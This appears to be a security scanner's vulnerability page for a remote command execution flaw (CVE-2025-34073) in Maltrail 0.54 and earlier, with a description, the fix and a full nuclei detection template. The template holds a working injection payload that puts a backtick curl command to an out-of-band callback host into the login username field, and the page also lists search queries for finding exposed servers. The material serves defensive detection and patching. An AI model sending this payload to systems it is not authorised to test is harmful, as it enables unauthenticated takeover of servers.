Maltrail <=0.54 Username Parameter - Remote Command Execution

criticalseverity

5.5%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

Maltrail versions <=0.54. A remote attacker can execute arbitrary operating system commands via the username parameter in a POST request to the /login endpoint.

Impact

Unauthenticated attackers can execute arbitrary operating system commands through the username parameter in the login endpoint, achieving complete server compromise.

Fix

Upgrade Maltrail to version 0.55 or later that properly sanitizes user input in authentication handling.

How to confirm it

Send: POST /login
Positive when: contains(header, "Maltrail") and contains(interactsh_protocol, 'http') || contains(interactsh_protocol, 'dns')

Run it with nuclei: nuclei -id CVE-2025-34073 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2025-34073

info:
  name: Maltrail <=0.54 Username Parameter - Remote Command Execution
  author: SeungAh-Hong
  severity: critical
  description: |
    Maltrail versions <=0.54. A remote attacker can execute arbitrary operating system commands via the username parameter in a POST request to the /login endpoint.
  impact: |
    Unauthenticated attackers can execute arbitrary operating system commands through the username parameter in the login endpoint, achieving complete server compromise.
  remediation: |
    Upgrade Maltrail to version 0.55 or later that properly sanitizes user input in authentication handling.
  reference:
    - https://huntr.com/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87
    - https://vulncheck.com/advisories/stamparm-maltrail-rce
    - https://github.com/stamparm/maltrail/issues/19146
    - https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/unix/http/maltrail_rce.rb
  metadata:
    max-request: 1
    shodan-query: http.title:"Maltrail"
    fofa-query: app="Maltrail"
  tags: cve,cve2025,maltrail,rce,unauth,oss,vuln

http:
  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=;`curl http://{{interactsh-url}}`

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "Maltrail")'
          - "contains(interactsh_protocol, 'http') || contains(interactsh_protocol, 'dns')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from